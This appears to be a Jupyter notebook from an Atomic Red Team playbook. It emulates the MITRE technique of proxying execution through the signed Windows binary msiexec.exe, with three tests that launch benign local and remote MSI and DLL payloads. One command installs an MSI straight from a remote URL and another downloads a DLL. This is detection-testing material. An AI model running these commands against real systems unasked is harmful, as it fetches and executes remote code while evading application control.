<jupyter_start><jupyter_text>T1218.007 - Signed Binary Proxy Execution: MsiexecAdversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - Msiexec.exe - Execute Local MSI fileExecute arbitrary MSI file. Commonly seen in application installation. The MSI opens notepad.exe when sucessfully executed.**Supported Platforms:** windows Dependencies:  Run with `powershell`! Description: T1218.msi must exist on disk at specified location ({msi_payload}) Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellWrite-Host "You must provide your own MSI"```<jupyter_code>Invoke-AtomicTest T1218.007 -TestNumbers 1 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptmsiexec.exe /q /i "PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi"```<jupyter_code>Invoke-AtomicTest T1218.007 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - Msiexec.exe - Execute Remote MSI fileExecute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI opens notepad.exe when sucessfully executed.**Supported Platforms:** windows Attack Commands: Run with `command_prompt````command_promptmsiexec.exe /q /i "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/Win32/T1218.msi"```<jupyter_code>Invoke-AtomicTest T1218.007 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - Msiexec.exe - Execute Arbitrary DLLExecute arbitrary DLL file stored locally. Commonly seen in application installation.Upon execution, a window titled "Boom!" will open that says "Locked and Loaded!". For 32 bit systems change the dll_payload argument to the Win32 folder.By default, if the src folder is not in place, it will download the 64 bit version.**Supported Platforms:** windows Dependencies:  Run with `powershell`! Description: T1218.dll must exist on disk at specified location ({dll_payload}) Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1218.007\src\x64\T1218.dll) {exit 0} else {exit 1}``` Get Prereq Commands:```powershellNew-Item -Type Directory (split-path PathToAtomicsFolder\T1218.007\src\x64\T1218.dll) -ErrorAction ignore | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "PathToAtomicsFolder\T1218.007\src\x64\T1218.dll"```<jupyter_code>Invoke-AtomicTest T1218.007 -TestNumbers 3 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptmsiexec.exe /y "PathToAtomicsFolder\T1218.007\src\x64\T1218.dll"```<jupyter_code>Invoke-AtomicTest T1218.007 -TestNumbers 3<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.09457654288004275, 'fraction_numerical': 0.04808976756612343, 'mean_word_length': 6.399209486166008, 'pattern_counts': {'":': 0, '<': 25, '<?xml version=': 0, '>': 25, 'https://': 3, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 1, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '6', 'dir': 'jupyter-structured-clean-dedup', 'id': '648903', 'license': 'MIT', 'n_tokens_mistral': 1368, 'n_tokens_neox': 1184, 'n_words': 332, 'path': 'playbook/tactics/defense-evasion/T1218.007.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '3743'}